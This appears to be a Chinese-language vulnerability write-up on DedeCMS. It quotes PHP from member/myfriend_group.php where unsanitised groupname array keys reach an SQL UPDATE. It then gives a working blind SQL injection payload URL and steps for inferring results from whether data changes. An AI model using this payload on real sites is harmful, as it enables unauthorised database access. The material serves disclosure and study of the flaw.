[AppleScript] 纯文本查看 复制代码 <pre><code>member/myfriend_group.php
}elseif ($dopost == 'save'){
if(isset($mtypeidarr) && is_array($mtypeidarr))
{
$delids = '0';
$mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
foreach($mtypeidarr as $delid)
{
$delids .= ','.$delid;
unset($groupname[$delid]);
}
$query = "DELETE FROM `#@__member_group` WHERE id in ($delids) AND
mid='$cfg_ml->M_ID'";
$dsql->ExecNoneQuery($query);
$sql="SELECT id FROM `#@__member_friends` WHERE groupid in
($delids) AND mid='$cfg_ml->M_ID'";
$db->SetQuery($sql);
$db->Execute();
while($row = $db->GetArray())
{
$query2 = "UPDATE `#@__member_friends` SET groupid='1' WHERE
id='{$row['id']}' AND mid='$cfg_ml->M_ID'";
$dsql->ExecNoneQuery($query2);
}
}
foreach ($groupname as $id => $name)//遍历key和value 和之前一个诸如一样
{
$name = HtmlReplace($name);
$query = "UPDATE `#@__member_group` SET groupname='$name' WHERE
id='$id' AND mid='$cfg_ml->M_ID'";
echo $query;
$dsql->ExecuteNoneQuery($query);
}
ShowMsg('分组修改完成(删除分组中的会员会转移到默认分组
中)','myfriend_group.php');
}</code></pre>
漏洞证明:
利用方法
先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个
然后看源码里groupname[]中的值
因为没有返回 只能盲注
那么判断是否满足条件就看是否update了原来的数据
这样就easy 执行一下语句
127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'`
and (select 1)%3D1 and '1]=12222
如果(select 1)=1的话 那个groupname就会被改成12222
上面的3改成你的groupname的ID就哦了
测试前
测试后
|